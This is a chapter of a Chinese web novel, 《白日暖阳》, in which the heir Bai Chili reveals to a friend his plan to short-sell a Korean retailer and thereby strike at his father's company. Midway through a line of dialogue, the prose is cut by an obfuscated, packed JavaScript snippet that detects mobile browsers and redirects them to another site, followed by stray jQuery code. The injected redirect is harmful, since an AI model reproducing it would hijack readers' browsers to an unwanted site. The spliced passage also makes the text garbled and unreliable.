4. 第四章 游戏
作品:《白日暖阳》 最后,宋暖还是乖乖的跟着蒋蓉瑶住进了白家的别墅。
她想过了,反正就算她反抗也会被她姐无情的镇压,她人微言轻,胳膊扭不过大腿,又确实还没有容身之所,于是,在蒋蓉瑶和白世涛的极力劝说下,她只能少数服从多数,暂时寄人篱下,跟着蒋蓉瑶先回了白家。
嗯,也是为了避免她姐再拽着她叨逼叨啦,宋暖决定先行缓兵之计,稍微安抚下她姐,再徐徐图之,等她找到工作找到房子后,她就可以溜之大吉啦。
那天早餐过后,之后的三天,宋暖都没有再见到过白池礼,那天他并没有跟着他们回白家的别墅来住,为此白世涛一路上阴沉着一张脸明显的不悦,蒋蓉瑶温声劝了好久才让他消气,第二天白世涛去了南城出差,偌大的别墅里就只剩下了蒋蓉瑶与宋暖两姐妹在。
宋暖在二楼客房的床上翻了个身,白家的别墅就连个客房都是富丽堂皇的,光是面积就足有六十几平,装修那就更是处处彰显着豪华奢靡了,让人犹如置身宫殿般。
只是,这样的地方终究是与她格格不入的,她还是早点想法子离开为好。
宋暖又翻了个身,盘算着,白池礼不在这里正好,她明天早上先找家里的司机练练车,过几天再寻个机会,假意骗她姐说她找到工作与房子了,到时就可以顺利搬出去啦。
嗯,她才不要那个小白痴陪她练车呢。
宋暖对自己琢磨的小九九很是满意,连进入梦乡时嘴角都还带着一丝笑弧。
________________________
此时城中的一处酒吧内,正是夜深喧嚣的时刻,一楼舞池中央人声鼎沸群魔乱舞好不热闹,年轻男女手舞足蹈宣泄着释放着白天所收敛起来的奔放与热情。
而二楼的各个包房,得益于隔音措施做的好,倒是一片寂静,此时走廊尽头的一间包房内,两个男人分坐在转角沙发的两端,一人手执一杯红酒闲适的慢慢品着,另一人正低头翻阅着手中的资料。
“明生,WEIA的评估报告你已经看了有三个小时了,怎么,还没看完?”白池礼品了口红酒,话语中有几分调侃之意。
施明生是城中金融圈里叫得上名号的理财顾问,却无人知晓,他私下里一直是白池礼在国内的私人投资管理顾问,两人的交情是自小就建立起来的,就算白池礼出国那么多年,只偶尔回国过几次,两人之间的私交都没有断过。
在外人的眼里,白家未来的继承人白池礼,不过是个不学无术的纨绔子弟罢了,自十八岁被白世涛送出国读书后,就鲜少回国,据说是在国外玩得HIGH脱了,不愿意回国受约束,以至于如今已经是个二十五岁的人了,依然赋闲着,没有入白家的永达集团,帮白世涛打理家族企业。
这样一个世家子弟,与白手起家的施明生,两人所处的社交圈风马牛不相及,众人想当然的认为,他自然是不会和施明生这样的金融圈新贵有什么牵扯的,即使他们俩曾经是同一初中同一高中,有着七年同窗之谊交情的关系。
其实,只有极少数的几个人才知道,白池礼在美国金融圈的地位以及他那堪称富可敌国的隐形财富。
当然,也有在那个圈子中白池礼用的根本不是本名,而且他那重身份极度神秘,从未曾出现在公开场合以及公众面前的原因在。
所以,即便白池礼有着美国常青藤名校哈佛的文凭,在众人的眼中,也只会认为,哦,这小子怕不是拿着赞助费买了个所谓的毕业证书吧。
毕竟自从毕业后,白池礼对外一直没个正经工作,在美国时更是荒诞,不是天天开PARTY泡酒吧,就是周游列国寻欢作乐,就怕别人不知道他人傻钱多似的。
施明生放下手中的一份由美国GCAS调研公司出具的关于韩国WEIA百货的测评报告,看向白池礼,“这就是你先前在韩国待了一个月得出的评估?”
白池礼点点头,“这只是个初步的评估,分析WEIA值不值得GCAS如此大费周章,等CODY处理完了美国RANO汽车的后续扫尾工作后,就会带人去韩国做深入调查了。”
施明生闻言笑了,“去年RANO汽车遭到GCAS狙击,做空报告一出,全美乃至整个汽车行业一片哗然,RANO的股价更是应声下跌,短短三个月,RANO就被投资者以及供应商们逼到宣告申请破产保护,有小半年了吧,圈中舆论的焦点都在这上头,你们俩真是好手段啊,现在欧美金融圈里谁提到GCAS不是讳莫如深,唯恐惹祸上身的。”
说着,他又有些不解,“不过,GCAS这些年来不是都只针对欧美市场上的概念股出手的吗?怎么这次跨了个太平洋,把手伸到亚洲来了?”
白池礼又喝了口杯中的红酒,好整以暇的坐着,没有出声。
白池礼没应声,施明生就自顾琢磨着,想到了什么,他眉头微蹙,思量了一番,避重就轻的道,“据我所知,WEIA百货当年和永达购物中心曾有过战略合作,各自交换了3%的股权,如果GCAS真的打算对WEIA出手,那永达也不可避免的将会或多或少的被牵连进去,你。。。”
后面的话终究是顾及到什么,施明生并没有再说下去。
白池礼兀自端坐着,他知道以施明生的敏锐多思与说话只说三分的做派,想必是已经有所猜测了,他挑了挑眉,不动声色的回望过去。
施明生看着白池礼眉眼不动一派闲适的模样,他心中的诧异更甚,平日里与人和善不显分毫的脸上此刻满是难以置信的神色,连声音都失去了往日里的镇定,“你,你,这不会就是你这次回国来的目的吧?”
白池礼没有正面回答他,只是晃了晃酒杯,轻笑道,“明展果然不愧为近些年来国内首屈一指的投资理财管理公司,你这个合伙人当得。”
施明生当然听出来了白池礼对他的夸赞,可现下是说这些的时候么?
他不被白池礼的顾左右而言他带偏,他眉头紧锁着,问道,“为什么?你来真的?你真的下得了手?”
白池礼“嗤”笑一声,浑不在意,“你怎么和CODY一样,对这个问题这么执着?”
施明生深吸了几口气,突然间得知白池礼此次回国的真正意图,对他来说太过于震撼了,缓缓吐出后,他又问,“你是什么时候开始有这个想法的?”
白池礼勾唇顽劣一笑,“你猜?”
施明生盯视着他,慢慢道,“是你十八岁出国那时?还是GCAS创立之时?或者是。。。去年你被逼回国的时候?”
白池礼眼眸渐深,不知想到了什么,他眼中浮现出几分不屑与讥嘲之色,连嘴角的弧度都充满了讽刺意味,静默半晌后,他又慢慢喝了一口酒,看着挂着酒液的酒杯内壁,平淡无波的道,“你怎么不猜我是自小就有这个想法的?”
“小白。。。”施明生脱口而出,是想劝解,也是想宽慰,可话刚出口,又顿住,他突然想到,如今的白池礼早已长大,也早已练就了一身的铜墙铁壁百毒不侵,并不会需要他的任何劝说。
白池礼朝桌上的文件抬了抬下巴,正色道,“CODY最多下个月就会到韩国了,亚太市场的情况我们了解不多,这次要靠你帮忙了,你只有不到半个月的时间研究WEIA,不论如何,WEIA必须拿下。”
施明生再次拿起桌上的那份报告,神色比之先前要复杂许多,他又翻阅了几页,再问,“那乔家呢?乔家好歹是白家的姻亲,如果乔家在背后出手支持呢?”
“就为了那3%股份的牵连?”白池礼好似听到了什么可笑之言似的,笑了出来,随即他又摇了摇头,“不,他不会要乔家帮忙的,他会刚愎自用的认为自己能处理好这小小的股价浮动的。”
“而且,”白池礼眼内的不屑更甚,“就算是永达集团遭到狙击,乔家只要没得到他们想要的既得利益,也只会坐壁上观,不会轻易出手帮忙的。”
从锁定WEIA为目标,谋划着出手之初,他早已算计上了所有人的人心,他为他们布下了这样一出局,他们也必定会按照他的规划,一步一步按部就班的入他的局,然后被制肘住,进而分崩离析,这么多年来,他的出手,从未有过败绩,这次自然也不会是个例外。
“那。。。杜家呢?杜家好歹也是白家的姻亲,不管怎么说,杜家不看僧面看佛面,总会顾虑到还有个你在白家的吧?”
“呵,你是忘了吗?我爸妈早已离婚了,杜家早已不是白家的姻亲了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136083|196288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,而且只要我一天不接手永达,杜家就不会出手管永达的事。”
施明生叹了口气,揉了揉眉心,无奈道,“你真的不是一时兴起,你早已将一切都设想安排好了。”
不是疑问,而是肯定,到此时,他才终于肯相信,白池礼真的不是说着玩玩的。
白池礼耸了耸肩,对他的话不置可否。
包房内一时又静谧无声,白池礼也不着急,等着施明生自个儿琢磨,半个小时后,施明生重重一声叹息,收起手中的评估报告,他慎重的点头道,“我知道了,我会仔细研究的,等CODY到韩国前,我会给他参考建议书的。”
白池礼得到了想要的答复,站起身,想到了什么,他又交代了一句,“对了,帮我整理一下我手上的股票和基金,最迟明年初,我要能全部套现动用。”
“你,真的一点都不预备手下留情?”施明生忍不住又追问了一句。
白池礼“嗤”笑开来,不为所动的道,“这场游戏,早已开局,我从未打算过收手,而你多年来身处这个圈子,该知道的,全力以赴,才是对对手最起码的尊重。”
施明生看着他,眼内闪烁不定,到口的话辗转几番,不知该如何出口。
那是单纯的毫无干系的对手吗?那可是永达啊。
白池礼见施明生再无其他的话了,他一边往外走,一边道,“走了,我后天去申城,有什么事电话联系。”
施明生在他身后不满的抱怨,“你又先走?又利用我使这招声东击西金蝉脱壳之计?”
白池礼回身拍了拍他的肩,很好意思的道,“朋友嘛,不就是拿来挡枪的吗?反正你们做我的掩护也不是一次两次了,你别告诉我你还没习惯啊?”
施明生嫌弃的挥开他的手,“你去哪里?”
“回别墅啊,明天我爸出差回来,我可是个无所事事游手好闲的纨绔儿子呢,怎能不在他面前多晃晃?”白池礼意有所指的勾了勾唇角。
走到门口,白池礼又转回身,“哦,对了,忘了告诉你了,我帮你点了几个年轻貌美的女孩子陪你喝酒,惊不惊喜?意不意外?不要太感谢我哦。”
如果眼神能杀死人,此时的白池礼已经被施明生眼中警告的眼神给洞穿了好几个窟窿了,只可惜,眼神并不能杀死人。
所以,施明生只能眼看着白池礼一双桃花眼笑得眉飞色舞,好不得意,好似他真的只是一个阳光朝气爱玩爱闹,毫无心机的年轻纨绔子弟般,刚刚坐在那里一副洞察人心、机关算尽、运筹帷幄、又清冷矜贵、生人勿近的模样仿佛只是他恍惚中的一个错觉罢了。
“滚吧。”施明生冷声吐出两个字。
白池礼笑得肩膀一耸一耸的,伸手去开门,刚打开门,他又回头,挑着眉戏谑促狭道,“哟,原来你对漂亮女孩子不感兴趣啊,难道是。。。喜欢男孩子?”
说着,他还煞有其事的兀自点了点头,“唔,怪不得你每次见面都问我CODY的事了,难道你是对CODY有兴趣?那等CODY来时,你们俩倒是可以深入浅出的好好沟通交流一番了。”
“???”
“。。。”
施明生明显一愣,反应过来后,他脸色一变,满是咬牙切齿的意味。
于是,回应白池礼的,是迎面快速丢来的一只靠垫。
白池礼大笑出声,眼疾手快的躲闪出去,关拢门,还有爽朗的笑声从门缝中往里漏。
门关上,靠垫撞上门板坠落下来,施明生脸色青白交加,胸口剧烈起伏着,他不甘的瞪着那道门,如同是瞪着门外那早已不见了踪影的人般。
半晌后,他又吐出一口混浊的郁气,无奈的摇头失笑。
他大概也是傻了,竟然会着了白池礼这时不时三五不着调的人的道,又不是不知道他平时是个什么德性。
而此时,那“三五不着调德性”的人正快步走下楼梯,走过舞池边,目不斜视不为所动的从一众身材火辣妆容魅惑,对他或抛媚眼或探究打量的女人们身边疾步走过。
舞池灯光幽暗不明,或深或浅的光影打在他冷峻的脸颊上,却照不进他冷漠无波的眼眸中,而他,对周围的热闹与喧嚣通通视而不见,一个眼神都未停留。

